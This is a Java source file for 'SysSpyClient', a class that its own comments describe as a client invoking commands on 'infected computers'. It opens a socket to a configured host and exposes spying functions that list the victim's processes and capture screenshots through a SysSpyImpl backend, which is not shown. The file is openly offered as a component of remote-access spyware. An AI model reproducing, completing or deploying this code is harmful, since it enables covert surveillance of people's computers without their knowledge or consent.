package client;

import java.io.IOException;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;
import request.SysSpy;
import request.SysSpyImpl;
/**
 * Represents client that invokes commands
 * from the server on the infected computers
 * 
 * @author macitu
 * @see request.SysSpyImpl
 */
public class SysSpyClient implements SysSpy{
	
	private Socket serverSocket;
	private int port;
	private String IP;
	private SysSpy spy;

	public SysSpyClient( int port, String IP ) {
		this.IP = IP;
		this.port = port;
	}

	public boolean connectToServer() {
		try {
			
			serverSocket = new Socket( InetAddress.getByName(IP), port );
			spy = new SysSpyImpl( serverSocket.getInputStream(), serverSocket.getOutputStream() );
			
		} catch ( UnknownHostException ex ) {
			// this exception can not be process 			
		} catch ( IOException ex ) {
			// this exception can not be process
		}
		if (serverSocket != null)
			return true;
		return false;
	}

	public void getProcceses() {
		if(spy!=null) spy.getProcceses();	
	}

	public void getScreenShot() {
		if(spy!=null) spy.getScreenShot();
	}
	
	public boolean ping() {
		if(spy!=null) return spy.ping();
		return false;
	}

	public boolean exit() {
		return spy.exit();
	}
}
